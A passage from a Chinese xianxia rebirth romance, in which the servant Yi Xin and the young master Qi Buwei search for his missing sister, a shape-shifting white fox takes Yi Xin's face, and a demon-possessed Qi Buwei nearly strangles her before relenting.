易辛跟上花信,后者微微朝后看了一眼,见祁不为似有些发愣,缀了些距离,便压低了声音问道:“你知道自己体内……”
花信隐晦道,剩了半截没说。她方才想问,被易辛打断,应是不想让那名男子发觉。
易辛明白她之所言,颔首应是。
“为何?你从哪里得来的?”花信疑惑着小声道,“难道上一任孟婆不光把神力传给了我,也给了其他人?”
不是的,易辛在心中说道。前世,花信把孟婆之力转交给了她。
孟婆之力因人而异,融在花信体内,却因她困在过去,煮出了一锅苦不堪言的汤。
前世花信的力量暂存于易辛体内。易辛魂魄不全,并未融合。她过手的东西那么苦,是因为花信苦。
而她能重生,也是因为花信。
此中牵涉种种,易辛只好说道:“说来话长,以后见面,再说罢。”
花信颔首,领着两人沿河岸行走,不知走了多久,又起浓雾时,她停下步子,对二人说道:“穿过浓雾,便能回到人间了。”
祁不为望了一眼:“地府与人间有几处道口,供阴差出行,这便是其中一处?”
花信点头:“你们是活人,不宜在地府久待。”
易辛温顺道谢:“多谢孟婆大人。”
说罢,易辛与祁不为对视一眼,小心谨慎地走入浓雾中,走着走着,眼前忽天光大作,再一回神,两人已置身于一片密林中,回头一看,没有忘川,也没有孟婆,只有茂密树林。
林间空气清新,鸟雀鸣叫,一轮金乌挂在树梢上,此地似有村落,目力远眺时,可见袅袅炊烟,仿佛连烟火味也能闻见。
忽然之间回到人世,易辛和祁不为有些猝不及防,又似大梦方醒。
直到挂在祁不为腰间的乾坤袋动静强烈,他们才回过神来。
“他怎么了?”易辛问道。
祁不为托起袋子,挑眉:“看起来有话要说。”
他解开乾坤袋,一道光闪过,被绳缚住的伏鳞滚落在地,化出了人形,浑身烧焦,血肉模糊,面目凄惨。
易辛心头一惊,别开目光。
祁不为蹲在他身前,上下打量一番,不由摇头:“若日后再入地府,必要装些忘川河水,对付妖怪有奇效。”
伏鳞忍痛,嘶嘶喘气道:“清风山庄……祁连山……徐晴岚!
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”
易辛正望向别处,听见伏鳞的话,猛地转过头看他。
他说的这两个人,是祁不为父母。
再看祁不为,只见后者肩膀僵硬,连背影都散发着不容忽视的压迫和紧绷。
“约十年前,他们大战蛟龙……仙门不肯支援,他们力有不逮……最后用了山庄秘术,强行拔高修为,杀了蛟龙,自己也葬生河底……”
祁不为从牙缝里挤出两个字:“……继续。”
“那条蛟龙名唤谛听,世上蛟龙罕有,我百年前曾偶遇他,便一道修行。大战的前因后果,我一清二楚——”
不待他说完,祁不为陡然掐住伏鳞脖颈,鲜血瞬间从破裂的无数小伤口里涌出:“你在场?我父母的死,你有一份!”
“……与、我无关……”伏鳞艰难道,“若我杀了你父母……怎会把旧事翻出来……嫌自己死得不够快吗!”
祁不为略微松开,眉眼阴鸷:“你想用什么,交易你的命。”
“……你父母死亡的真相!杀死他们的不单单是谛听……”伏鳞紧紧盯着祁不为,“但在我养好伤之前,我一个字都不会说!”
话落,伏鳞身上猛然升起炽热火焰,祁不为松了手,任他在地上狼狈打滚,惨叫连连。
空气里弥漫出烧焦的气味,草地上洇出一滩滩血迹。
伏鳞大喊道:“你不想知道谁害了他们吗!!”
“烧不死。”祁不为阴冷道。
易辛久久不能回神,想不到清风夫妇的死,还有内幕……
她不禁握住胸口,掌心下是风疏送给她的枯木。
按照前世轨迹,祁不为会在甘华门入魔。
今生去了归墟境一趟,遇上伏鳞,扯出了十年前的旧事,这遭意外,不知又会如何改变将来。
归途之际,祁不为一路上缄默不语。
易辛不知他心中如何,只期盼快些回到山庄,祁有为必能安抚他一二。
只是才到山庄门口,便有管事扑了出来,仿佛遇见了大罗神仙。
“公子,你可算回来了!”
年迈的管事几乎要哭出来了。
祁不为稍一点头,问道:“庄主呢?我们忽然消失,她必然久久忧心。”
闻言,管事面色青白:“……庄主……不见了!”
“……什么?!”
易辛和祁不为脸色骤变!
当日两人一同坠入归墟境后,祁有为堪堪收服发狂的白毫狼,要去寻二人时,忽起狂风,黑雾凭空而出,笼住祁有为,当山庄弟子赶到时,只看见祁有为随着黑雾一同消失,至今未归。
“庄主已经消失三日了!”
易辛愕然,他们去归墟境多日,人间只过三日。而前世里的这段时日,分明没有妖怪袭击祁有为,她也没消失……
又是一桩变故……
祁不为面色阴沉,浑身紧绷。若是那妖怪在前,易辛丝毫不怀疑祁不为会以最残忍的方式将它千刀万剐。
不作休整,祁不为直接加入搜寻队伍。
术法、法器等等可以利用的,山庄皆动用起来,甚至请了仙门其余门派,可祁有为却仿佛人间蒸发。几日下来,祁不为面上已有显而易见的疲惫和躁郁。
找不到人,祁不为又埋头进藏书阁,试图通过弟子们的描述在书海中找到那妖物的蛛丝马迹。下人送饭时,无一例外都被祁不为赶了出来。
他恨不得一日当十日用,寻找事宜慢一分,祁有为便险一分。
重来一世,若又是这般结局……他无法承受失去祁有为两次的痛苦!
32. 第一章
山脚湖泊。
易辛把洗好的衣服拧干,放进木桶里。
起身时,她望向湖边的树林,依稀可见搜索人影。
得知庄主失踪后,整个山庄子弟都去搜寻。她和祁不为自归虚境后再未见面。
因着这番变故,她下山的日子也推迟了。
此时此刻,祁有为究竟在哪儿,有无性命之危……这些所有人都不知道。
易辛一面祈祷她平安无事,一面忧心忡忡。
祁有为就像一道紧箍咒,她在,祁不为尚能自控;一旦她出事,难以想象今生的祁不为会变成什么样……
她压下心头乱绪,提着木桶走回山庄。
半路上,瞥到一个反光的物什,循着走近时,发现竟是祁有为的玉佩。
……是她失踪时掉落在此的吗!
下一瞬,易辛便否认了自己的想法。祁有为失踪已有数日,按山庄的搜寻力度,不可能没人发现玉佩。
那么她的贴身物品掉落在此,还有一个可能,有人拿了她的东西,却不慎丢了。
易辛摩挲玉佩,几乎立马猜到是谁。
走进祁不为的院落里,慌张压抑的氛围扑面而来。
所见之处,无论是游廊还是庭院都遍布数名侍女。她们一心低头寻找东西,没人注意从大门走进来的易辛,嘴里念念有词。
“玉佩找到了吗?”
“没有……伺候公子这么多年,从没见他如此生气过。”
“庄主本来就……”那人似乎想说“失踪”二字,最后害怕地咽了回去,压低声音继续道,“公子又丢了庄主的玉佩,玉器这种东西,兆头多不好……”
易辛从袖中拿出玉佩,走到有几面之缘的秀兰跟前:“姐姐,公子丢的可是这枚玉佩?”
此话一出,院内霎时寂静。所有人眼巴巴地望过来,秀兰顿时喜上眉梢,狠狠松了口气:“对对对!就是它!我赶紧去告知公子!”
秀兰话还在嘴里,便忙不迭地从游廊跑向屋子。
易辛慢慢跟在身后,随着距离渐近,屋子里的情形愈发清晰。
地上一片狼籍,祁不为还在翻箱倒柜,不是玉佩的东西便通通扫落在地,不知砸碎了多少精美物什,声音或清脆或沉闷,全都裹着他的焦躁。
他连衣服都没来得及换,身上穿的还是在归墟境里那一套。
“公子!玉佩寻到了!”
祁不为身形一顿,再猛地转身,玉佩已递送至他面前。
他连忙拿过玉佩,仔细端详,眉心拧出几道深刻的痕。
玉佩寻到了,但他心里还是紧紧绷着一根弦,只是疲惫令他有些腿软,不禁慢慢坐在了地上。
易辛默然。祁不为看起来很不好,才短短几日,便与归墟境里戏耍李善时截然相反,那时他意气风发,此时却像被狠狠挫磨过一般,整日都悬在刀尖火烤上。
从阿姐失踪起,祁不为便没日没夜地搜索,术法仙器全部试过,藏书阁里晦涩难懂的古籍也要被他翻烂了,却还是无法找出祁有为的蛛丝马迹。
据山庄子弟来报,祁有为是遇上了妖怪,那妖怪能做到不留一丝痕迹地把人带走,必然十分强大。
随着时间流逝,祁有为性命难保的不幸猜测在众人心底扎根发芽。
祁不为捏紧手中玉佩,他特意拿了她的东西,想寻个安慰,却在搜山中掉了……
疲倦和焦虑化作耳鸣,脑仁针刺般痛起来,又有些晕眩。
他咬紧后槽牙,后仰着靠在木柜上,艰难地喘息了一下。
这么一抬眼,便越过重重人群看见了在后头略显格格不入的粗布侍女。
祁不为愣了一下,撞进那双沉静的双眼里。那人气息如水,嘴唇微抿,蹙起的眉头仿佛有些难过担忧。
这种感觉似曾相识。
矇昧的双耳和脑袋渐渐清明,祁不为动了动嘴唇:“……易辛?”
四周的侍女见祁不为直愣愣地望着易辛,不禁让出几步。
易辛缓缓眨了下眼,走到祁不为身前蹲下,指着他手中的玉佩温声道:“公子,玉佩贵重,我给你绣个荷包放它吧?这样挂在身上就不怕丢不怕摔了。”
祁不为没做犹豫,一面把玉佩放入易辛手里,一面起身:“多谢,你绣吧,我要下山去找……”
声音戛然而止,易辛轻轻握住了祁不为手腕:“公子,烦请你等一等,我手脚很快的,不耽误你做正事,你应该也很想带着庄主的玉佩去吧?”
祁不为垂头,肌肤相触的地方感到一阵粗粝,是易辛手上的茧子,但很温暖,去看她的双眸时,也是温润如水。
拒绝的话到了嘴边,只剩疲倦的沉默。
易辛回头向秀兰点头致意,对方读懂了她的眼神,立马挥退其余人,又命令备下饭食和淋浴。
得知汤池温好水后,易辛对祁不为说道:“公子,去洗浴吧。等你洗好了,我的荷包也能绣好。”
祁不为本想摇头,但一想自己很久没换衣服,身上确实有些难受,便走入浴房。
易辛才刚在矮几后坐下,连针线都没穿好,祁不为又转到她身前。
易辛惊诧不已:“公子……就洗好了?”
这么点时间衣服都不够脱……?
祁不为拧眉:“你到浴房里来绣。”
易辛愣住,不等反应,祁不为已经帮她把小案桌搬了进去。
等她回过神来走进浴房时,祁不为正宽衣解带,长袍退下,露出宽肩窄腰。
易辛立即垂眼,看到了祁不为健美修长的小腿,她再垂眼,视线落在手里的针线上。浴房的水温似乎有些高,闷得有些喘不过气。
汤池里响起花啦水声,易辛动了动眉头,发觉那水声离自己越来越近。
“你站在那里做什么?不是绣荷包吗?”
祁不为游近了问。
“噢……嗯。”易辛点头,坐在案几后,眼观鼻鼻观心,认真绣起荷包。
祁不为顺势把双臂放在岸边,低头枕在胳膊上,汤池温热,易辛静谧,疲倦在水雾中攀升四散,让他渐渐闭上了沉重的眼皮。
等易辛绣好,抬头一看,祁不为正拧眉睡着了。
她放好荷包,轻轻跪在岸边,看了他半晌,又鬼使神差地伸手点在祁不为眉心,温柔抚平。
接着,她移向他乌黑的眉毛,指腹下是弓起的眉骨,掌心隐约触到他温热的呼吸。
忽然,祁不为眉头动了一下,毫无预兆地睁开了眼,一双眸子盯住易辛,好似深
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渊中的恶魔凝视。
黑沉、幽深、杀伐冷冽,仿佛吞没了一切光。
浴房温度骤降。
易辛瞬间心惊肉跳,肌肤上暴起一粒粒小疙瘩——这种眼神她太熟悉了,便是祁不为入魔的样子,倏地把她拉回前世。
她吓得收回手,甚至忘了掩饰自己在他昏睡时的暧昧举止。
只是缩到一半,便被祁不为紧紧攥住,让她产生了自己咽喉被捏住的错觉。
连日来的焦躁和失去阿姐的恐惧,终于让他在这片刻的放松里,魔气入心。
顷刻间,易辛被他按住肩膀,往水里一拽。
“啊——”她不禁发出短促的尖叫。
祁不为想淹死她……这是易辛脑中一闪而过的念头。
下一刻,她发现自己好端端站在水里,被祁不为托着肩膀,连脖子和脸都没湿。
“公子你……”
易辛下意识唤他,还没来得及说话,眼前便投下一片阴影,黏在肌肤上的水汽扑面而来,嘴唇上印下温热柔软的触感。
祁不为眼睑微垂,细细啃咬她的唇瓣。
易辛瞪大眼睛,心跳一下子乱得可怕。
她只看见了祁不为眸中的冷冽,却没发现深藏其中的欲色。
回过神后,易辛连忙推着祁不为的肩膀,口中不禁发出呜呜的抗拒声,不料被按住了后颈,另一只手移到她的蝴蝶骨,在皮肉与骨头的缝隙里极有技巧地按压了一下,她顿时手脚一软,没了力气,口中逸出意味不明的声音,酥麻感窜上脊髓。
祁不为彻底合上眼皮,吻得热烈急促,呼吸里全是暧昧。
易辛被推至池壁上,前后都是两堵墙,压迫之下,她有些受不住,吐息布满灼热,烤得她有些喘不上气来。
方才那一下,可见他了解她身上敏感的地方。
她忽然想到,或许祁不为以为自己还在前世,所以才会如此对她。
易辛蹙眉,用力咬了下他作乱的舌尖。
祁不为果然后撤,唇上一抹艳红红的血,漆黑的瞳孔里终于映了些烛光。
易辛在水里移开几步,主动化解尴尬并拉回他的神智,喘息道:“公子……你是不是认错人了,我是易辛,不是……祁有为。”
祁不为望向易辛,只见她闷得脸色发红,唇上水光潋滟,一双眼惊慌失措。
他垂下头,汤池里还因两人方才的激烈而水波荡漾,身上的燥热兴奋从脑袋往回压,愈发显得胸膛里空荡荡,惟余唇上点点麻意。
他意识到自己方才做了什么,却不知为何会那样。只觉睁眼看见烛火水雾中的易辛,一股冲动便涌了上来。
她的话给他找了很好的借口,又不至于让二人尴尬奇怪,只要他也附和一句“嗯,抱歉,我认错了”,话到嘴边,他却不愿意说了。
“对不住。”祁不为声音低沉,看了她一眼,转身上岸。
易辛适时低头,声音温和,仿佛并不将这场误会放在心上:“公子沐浴完便用膳吧,吃些东西,神清气爽,或许灵光一现,便有办法找到庄主了。”
祁不为没有应答,但等易辛转出浴房时,却看见他在屋子里用膳,她稍稍放下心,又见他把身旁的干净衣裳推出去:“把湿衣服换了吧。”
33. 第二章
用过膳后,易辛随祁不为一道下了山,两人又来到当初祁有为失踪的那片树林。
此地离双泊谷不远,当日祁有为收复白毫狼时,山中弟子也赶来此处,却突降黑雾,把她卷走。
地上落叶纷纷,鞋履踩上去,簌簌作响,易辛抬头,祁不为正蹲在地上查看蛛丝马迹,她便开始环顾四周,心中不禁升起异样。
前世根本没有妖怪掳走祁有为这一出,当时山庄被白毫狼搅得一团乱,再加上秀兰被袭击致死,山庄一时人心惶惶,祁家姐弟和弟子们彻夜加固屠妖塔,轮流巡查山庄。
易辛蹙眉,难道是那时人多势众,那只妖怪不敢乱来?
但能抓走祁有为的妖怪,想必修为高深,万一出了事……
易辛正担忧着,心头莫名一紧,仿佛被什么盯上一般,她下意识偏头,只来得及看清树桩后一团莹莹白光,白光中闪着一对绿芒。
下一瞬,那团东西便迅速扑了过来。
易辛惊呼,本能地抬手挡住,腰上忽然圈了只手,抱着她旋身避开。
几息后,闻得祁不为冷淡的声音:“是你?”
易辛扭头,祁不为一手揽着她的腰,另一手拎着一只小白狐。
她和白狐对上视线,后者冲她龇牙咧嘴,口中呜呜叫着,似有不满。
易辛不禁微微后仰,躲避着白狐的怒意。
祁不为松开易辛,把白狐拎得近了些,语气冷然:“当初我阿姐念你有机缘修炼成妖,可化人形,才留你在清风山吸收日月精华。如今你敢伤人,是想进屠妖塔?”
白狐顿时收敛爪牙,对着祁不为嗷嗷叫,一双绿眸委屈巴巴,还伸长了四肢,似想扑进他怀中。
祁不为随手扔给易辛,一人一妖俱是僵硬。
祁不为:“安分点,不然你知道后果。”
此话一出,白狐果真不敢动弹,乖乖地伏在易辛怀里。
祁不为望着易辛:“帮我养它几日,这白狐如今周身泛光,想必快要化形了,等它能开口说话,说不定能问出一些阿姐的线索。”
易辛点头,两人一狐又在树林里搜寻片刻,毫无收获后,便打道回府。
夜幕降临,月光透过纸窗,洒下一片清幽。
易辛把小白狐放在案桌上,让它沐浴月光,又把装了水的碗推至身前。
白狐斜睨她一眼,趴在桌上喝水,神情十分傲娇。
易辛心觉可爱,却不敢顺它的毛发,短短几个时辰的接触,她能感到白狐对自己的敌意。
可是为什么呢?
这般想着,易辛便问出了口,白狐又是斜斜地看她一眼,鼻子哼了气声,轻盈一跃,跳上易辛的床榻,找了个舒适的姿势蜷缩着睡下。
她忘了小白狐不会说话,只好祈祷它能帮忙寻到祁有为。
另一边,祁不为却陷入了梦魇,回忆起了从前。
当初年幼的他对仙门苦苦哀求,那些人却对爹娘见死不救。雷雨交加之夜,他心有预感,此后便大病一场。祁有为在与蛟妖的对战中早已负伤,现在又拖着一身伤亲力亲为地照顾他。
但他并不领情,把祁有为端来的所有药通通打翻,甚至在看到祁有为对甘华掌门送来的灵药仙丹一概收好吃下时,心中怒极,不准祁有为食用。
祁有为伤势未愈,心中悲痛,精神已大为不好,面容憔悴。可她只动了动起皮干燥的嘴唇,耐心道:“我出去喝,不叫你瞧见烦心。”
这般冷静反倒让她的话适得其反,祁不为对着她的背影破口大骂。
一边痛骂一边不自主地大哭。
“祁有为你的良心被狗吃了吗?他们见死不救,你怎么能吃他们的东西!清风山庄没有吗?不够你吃吗!我要离开这个鬼地方!我要回家!”
祁有为步履未停,任他大骂,该喝的药一口不剩,该补的灵丹一颗不落,修复着她体内的伤势,感受经脉的冲刷加固。
祁不为自是郁气攻心,一直闹到晚上被甘华掌门迫不得已施术安睡。
待他泪眼朦胧地醒来时,看见了静静守在床头的祁有为。
他背过身,不言不语。
“小七,我知道你在想什么。”祁有为的声音在夜色下显得极为疲惫。
“事已成定局,活着的人应该继续。不仅如此,还要替死去的人活着。甘华门集天地灵宝于一身,在此地养伤再好不过,他们此时终究对爹娘有愧,要用任何药材灵宝都比平时舍得,他们给,我们便受着。”
“若你恨他们,更应该好好活着,吃着他们的灵丹妙药,养病修炼。”
“我们要继承师父师娘的遗志,除魔卫道,护卫苍生。要那些仙门中人日后看着我们,便感到愧疚不已。”
祁有为平静叙述,疲惫淡然之下,满是坚韧。她轻轻地把手心放在祁不为小臂上,语调温柔:“小七,也许你还小,听不懂我方才的一番话,但阿姐答应你,只要你快快好起来,我立马带你回清风山庄。你起来吃药,好不好?我一定会带你回家。”
黑暗中,只闻祁有为一人轻声絮语,说了许多话,祁不为毫无动静。
“小七?”她轻轻喊他,然后抬手越过半边床摸向他的眼睛,温热湿润。
枕头上濡湿一片。
祁有为心中酸涩,抹掉眼尾落下的一滴泪,笑着抱住他:“我的乖小七。”
后来,祁有为践行师父师娘遗志,努力修炼,以除魔卫道为己任,长成了仙门中年轻一辈的翘楚,最后却为他拖累,死于易张稚剑下。
他太恨了!
父母和阿姐行善千里,偏偏死得那么惨!仙门中那些早已背离初心的宵小鼠辈却活得逍遥自在!
什么好人有好报,恶人自有天收,都是骗人的。
好人不长命,祸害遗千年,才是真的。
他既有重来一次的机会,怎么还能让阿姐置身险境!
梦魇纠缠不休,祁不为心中的滔天恨意凝作魔气,从他体内丝丝缕缕地渗透出来,在夜色中煞气瘆人。
汤池内魔气入心便是前兆。
梦魇中,心念起伏间,祁不为彻底压不住体内的魔气。
浣衣坊。
易辛已安然入睡,没有察觉白狐光芒大作。
白狐鼻翼翕动,被体内澎湃的热意弄醒,睁眼便看见易辛恬静的睡颜,预感到自己即将化形,眼前白光阵阵之际,把易辛的脸牢牢记在心里。
睡梦间,易辛恍觉眼前光亮太甚,即将醒来时,光感又弱了下去,黑沉的梦继续攀了上来。
如果她此时睁眼,便能发现身旁躺了一个和她长得一模一样的人。
白狐抬起前爪,视线里出现一只人手,那手慢慢摸上自己的脸,不再是尖尖的嘴巴和毛发,而是细腻的肌肤与缓和的面部轮廓。
它慢慢爬下床,来到铜镜前,清秀温和的面容映入眼帘。
白狐眼里染上笑意,回头看一眼熟睡的易辛,悄悄推门离开了。
初化人形让它喜不自胜,一路上蹦蹦跳跳,终于来到了祁不为的院子。
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白狐停在门前,深呼吸,却止不住笑意,轻轻推开扇门。
一瞬间,魔气倏忽消失,祁不为眼皮一抬,满眼寂灭,细看却漆黑瘆人,门口传来一道声音。
“啊……我吵醒你啦?”
祁不为坐起身,望向门口。来人背着月色,一双眸子却晶亮,满怀笑意地望向他。
他面无表情地看着“易辛”:“你来做什么?”
白狐愣了一下,祁不为笼罩在黑暗中,轮廓模糊,仿佛是他释放了夜色中的浓黑,叫人无端生出几分紧张。
“那只白狐化作人形了?可有祁有为的消息?”祁不为冷漠道。
闻言,白狐心头的不适立即化作嫉妒与怒意。
清风山上,她初见祁不为时,便深深记住了那张脸。
她喜欢漂亮的东西,所以她很喜欢祁不为那副皮囊。
这几年,每逢祁不为下山游历,她总是乐此不疲地送他下山,再日日盼他归山,同时她又期望自己快些修炼出人形。
祁不为总是追着那个什么庄主,可那个庄主对他的脸根本无动于衷嘛,她哪有自己喜欢他呀!
她嫉妒祁有为!
如今她好不容易化成人形了,他还是惦记祁有为。
白狐委屈难过,快走几步来到祁不为身前:“张口闭口就是祁有为,她有什么好的?世上女子只有她一人吗!”
祁不为眼皮轻抬,森冷逼人,白狐沉浸在不忿中,并未发觉。
白狐:“这都过了多少日了,祁有为指不定已经死了!人要向前看,我也能陪在你下山游历!”
话落,面上似袭过一阵阴风,白狐心头颤了一下。她直觉他不喜欢听这种话,可她不爽,她就是要说!随后她又伏进祁不为怀里,撒娇似的蹭了蹭他肩头:“不要生气嘛,我有什么不好?今日那白狐袭击我,你不是还紧张了一下嘛。”
她挑中易辛这张脸,是因为在树林时,她看得出祁不为对这侍女有些在意。
说罢,她感到祁不为的手摁在自己后颈上,不禁笑意更深,下一瞬,祁不为阴测森寒的声音便落在耳边。
“易辛,原来你希望祁有为去死。”
白狐没有说话,只是抱紧了祁不为。瞬间,阴寒之气铺天盖地而来,激得她差点化成原形,想用皮毛抵御寒冷。紧接着,那寒气如有实质,无孔不入地钻入肌肤之中,游针般渗入肺腑,痛得她呼吸不过来。
还来不及说话,她猛然间倒飞出去,砸破扇门,滚落在地,噗嗤吐出一口血。
白狐终于发觉情形不对,那不是术法,只是杀意!
来自祁不为的杀意!
白狐趴伏在地上,颤巍巍地抬头,祁不为下榻,步步迈出昏暗,走入月色中。周身渗出黑红夹杂的魔气,神情阴鸷,眼眸黑得吞没了所有光亮。
白狐大惊,魔气……魔……祁不为是魔?!
这一刻,求生欲战胜了白狐的爱意,她惊恐无比,忙不迭爬起来,奔逃而走。
才跑了几步,白狐迎面撞上易辛,她步履未停,瞬间化成白狐,几个闪身,跃入重重屋舍后,消失不见。
易辛满脸茫然,她半夜忽然醒来,发现白狐不见了,匆匆来报祁不为,却看见了白狐。
白狐能化形了?为什么变成她的样子?
不及她解惑,一阵激荡的冷意奔袭而来,瞬间叫她浑身紧绷。
易辛缓缓偏头,见祁不为迈出寝屋,眼神阴鸷地盯住自己。
刹那间,易辛头皮发麻。
34. 第三章
易辛不自觉地咽了咽口水,祁不为这番模样俨然入了魔。
白狐究竟顶着她的脸做了什么?
“公子……”
易辛喃喃,剩下的话顷刻间被祁不为掐灭。他瞬身而至,目光阴鸷地钳住易辛脆弱的脖颈,将惊慌从她喉咙里逼出来。
易辛喉管发紧,窒息和压迫一齐袭来。她本能地抓紧祁不为的手腕,想挣脱桎梏。
祁不为面上冰冷阴沉,脑中声音却此起彼伏——
“杀了她……”
“当初她可是毫不犹豫地杀了你……”
“现在她又巴不得祁有为去死,你怎么还能容忍她活在你眼皮子底下……”
“任何威胁你和阿姐的人,都应该去死……他们都死有余辜!”
那一缕缕声音仿佛渔线,终于拴住了祁不为的各个关节,把他弄成了个提线木偶,操纵起他的意志与行为。
“既然那么希望祁有为去死,那我先送你去见阎王。”
易辛错愕不已,又连忙摇头:“我没有……我、怎么会希望庄主……呃——”
颈项上力度加大,逼得易辛艰涩痛苦地喊了一声,下颔不由自主地仰起,徒劳地呼吸。她推拒着祁不为的手臂,脸色发白。
听祁不为的意思,白狐想要祁有为去死,无怪乎他勃然大怒。
易辛想要解释,一开口却成了嗬嗬喘息的气声,随着祁不为力道加重,她根本说不出话来,只能无意义地攥紧他的手腕。
濒死感攫住易辛的喉咙,瞬息之间,她脑中闪过很多念头。
她没有术法,也没有拳脚功夫,根本斗不过祁不为,唯一能用得上的——只剩风疏送给她的箭。
但这一箭刺下去,必然是火上浇油。
本来他便对前世的夺命之仇耿耿于怀,说不定她会死得更快。
……只是别无他法了。
易辛正想按照风疏教她的心随念动召出木箭,那厢祁不为却愣住了。
魔气缠心之下,祁不为一心只想杀掉易辛,手背上却滴落温热的泪水,仿佛溅进了他心里,手上的劲忽而松了些许。
连易辛也没察觉自己落了泪,只因窒息逼出了生理性的泪水。但颈项上压力骤降,空气忽然钻入肺腑,让她止住了召唤箭镞的念头。
恨意如细密的网,裹住祁不为,心底只有一个声音——杀掉易辛,她不仅杀了他,还想让祁有为去死。
他怎么能不恨易辛,杀她简直轻而易举。但比起泼天恨意,却有一种莫名的力量,仿佛在说一旦易辛死了,他势必追悔莫及。
这种念头在他心里扎了根,手上再也无法聚起半分力气。
不知不觉间,缭绕在周身的魔气渐渐散去,愤怒却取而代之,涌上心头。
祁不为悲哀地发现,不知何时起,他似乎再也杀不了易辛了。
甚至不止如此……
祁不为咬紧牙关,彻底松开易辛。
易辛跌落在地,摸着脖子止不住地咳嗽,缓了好一会儿才惊讶地望向祁不为,他竟然收手了?!
易辛的讶然刺激到了祁不为,犹如隔空甩了他一巴掌。
看吧,连她也觉得自己一定会杀掉她……祁不为脸色愈发难看,居高临下地望着易辛:“你走吧。不要再让我看见你。”
易辛张了张口,想解释白狐之事,但多留一刻便危险一分的想法让她打消了念头。
易辛从地上起身,默默离开。
回到浣衣坊后,易辛看见床上蜷缩着微微颤抖的白狐。
听见开门的动静,那白狐打了个激灵,猛地抬头,双耳竖起,紧张而惊恐地盯住门口,见是易辛,旋即松了口气,身子却依旧止不住瑟缩。
易辛蹙眉走向床边,饶是脾气再好,她也对白狐的所作所为很是生气,刚想开口诘问,那白狐竟然钻进了自己怀里,爪子死死扣住她的衣裳,甚至勾了丝。
显然被吓坏了。
易辛低头看了白狐片刻,还是伸手一下一下地顺着她的毛发。
白狐发出细碎的嘤咛。
易辛问道:“你跑到他房里去做什么?”
白狐抖了一下,转动绿眸,仰头看面色平静的易辛:“……想去看看他。”
易辛再问:“你喜欢他。”
白狐恍惚点头,又惊恐地摇头,今夜之前,她自然喜爱祁不为,但见识过他的真面目后,她哪有那个胆子再去招惹他,天大地大,一切都大不过自己的小命。和魔在一起?疯了!
易辛:“你究竟和他说了什么?”
白狐没有隐瞒,一五一十道来,易辛眉头越听越紧:“你既然知晓祁有为对他如此重要,怎么还敢在他面前提‘她已经死了’这种话?抛开这个不说,你不知道凡人忌讳又畏惧死亡么?”
白狐爪子松开又握紧,嚅嗫道:“我又没和你们凡人生活在一起,怎知你们心里想什么。”
易辛还想说什么,最后却叹了口气。
白狐是妖灵,未受凡人世界的教化,想到什么便说什么,导致了这桩祸从口出的险事。
白狐依旧盯着易辛,见她平和淡定,与自己方才的怂样截然不同,不禁脱口而出:“你……挺有本事的。”
易辛不解,疑惑地望着白狐。眼前白光一晃,白狐化作人形,一张美丽的脸怼在她面前。
易辛惊了一下,默默后仰拉开距离。白狐长得这么美,为何还要顶着她的脸去招惹祁不为?
易辛退一分,白狐便近一寸,仿佛要在她脸上盯出个所以然来。
白狐:“你知道祁不为是魔吗?”
易辛顿住,略一迟疑,假意摇头,便见白狐看她的眼神带了些唏嘘,说道:“世间生灵,譬如动物植物,甚至木偶、瓷器等无灵之物,但凡有机缘,便可修炼成妖;而魔,多数为天地戾气、恶念、欲望集一身所化。妖有好坏之分,魔却是十恶不赦,充满毁灭欲。”
易辛缓慢地眨了眨眼,白狐继续道:“世上妖邪千千万,却没有魔;魔若出世,天下必乱。”
说到此处,白狐迷惑了:“祁不为是仙门世家,他怎么会是魔呢?”
易辛脸色有一瞬的苍白,手指不禁攥紧了被褥。
白狐兀自困惑,没发现易辛的不对劲。她想不出个所以然,只好甩了甩脑袋,又神经兮兮地盯住易辛,说道:“你一个普通侍女,不懂术法,却从祁不为那个魔头手底下安然无恙地回来了?你难道故意藏了自己的本事?”
易辛推着白狐后退些许距离,仰颈指了指自己脖子。白狐看见上面清晰的指痕,好像被掐脖子的是自己一般,胆寒地缩了缩。
易辛:“不是我有本事,是他放了我一马。”
白狐犹自僵硬害怕,默默抬手捂住自己脖子:“……他会不会来找我算账?我还是赶紧逃吧?”
本来一开始就该逃的,她却慌神慌过了头,竟然跑回易辛的屋子里。
易辛连忙制止白狐要逃的姿态,冷静问道:“你可知晓庄主被抓去哪了?”
白狐怔住,偏头看凝视自己易辛。
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易辛直直望着白狐的双眼,诚恳道:“如果你有庄主的线索,便去告诉祁不为吧。”
白狐把头摇成了拨浪鼓:“不去不去不去……他一见到我就会想杀我!我去送人头我疯了!”
易辛:“这么说,你真的能找到庄主?”
白狐:“……”
易辛安抚:“他不知道先前的人是你变的,我也没说,你去见他,他不会对你如何。就算他事后反应过来察觉是你,但你没有真的伤害庄主,他不会滥杀无辜的。”
白狐眉头高高拧起,仿佛不信她的话:“他是魔,还不会滥杀无辜?!”
易辛双眸诚挚:“只要你没伤害他和庄主,他一定不会动你。再者,你若害怕他找你算账,不更应该将功补过?如果你说出庄主的下落,便是对他有恩。而且我离开之前,他已经从入魔的状态清醒过来了。”
白狐将信将疑,迟迟不肯动,最后在易辛“你迟一分,庄主便危险一分,到时候他真迁怒到你头上,你觉得自己躲得过吗”的危言耸听里,不情不愿地化作白狐,一步三回头地找祁不为去了。
屋子里静了下来,易辛才长吁一气,将紧张战栗从胸口里散出去,身子的僵硬缓和些许,紧接着,心口突兀地痛了起来。
仿佛一根针扎了进去。
易辛面色一白,捂住心口,调整呼吸,努力压住那阵刺痛。
阴雨连绵,祁有为第二次醒来,依旧意识迷糊,无法睁眼。
她知道敌人比自己强大太多,所以第一次清醒时,她想佯装昏迷,摸清周遭情况。
她率先探查了体内灵力,果不其然,无法调动分毫,敌人封住了她的灵力。
接着,她感到自己被反绑双手,掌心下遍布柔软又干燥的细细长条,应该是秸秆。
鼻端嗅到的空气带着霉味,耳边雨水滴答,水汽拂面。
这里似乎是荒废的宅屋,门窗开着,除了她,没有余人的气息。
没人看守她?
祁有为喜出望外,刚想睁开眼,忽然一只手覆了下来。
她顿时心头一凛,明明没察觉到任何活物的气息,但看情况,这人分明一直在她身旁,她一清醒便发现了。
不知是妖是人,但能确定的是,对方修为高出她许多。
祁有为镇定下来,开口道:“阁下是谁?为何把我带到此处?”
对面没有回应。
祁有为拧了拧眉,下意识睁开,入目一片漆黑,眨眼间,睫毛蹭着对方的手指,连她也触感分明,心头涌起怪异之感。她又干脆地闭上眼,继续问道:“为何不说话?你抓我,却不杀我,总有理由,不如摊开谈谈?”
屋子里十分安静,除了雨声,什么也听不到,仿佛对方无需呼吸。
难道在等什么?所以不处置她?
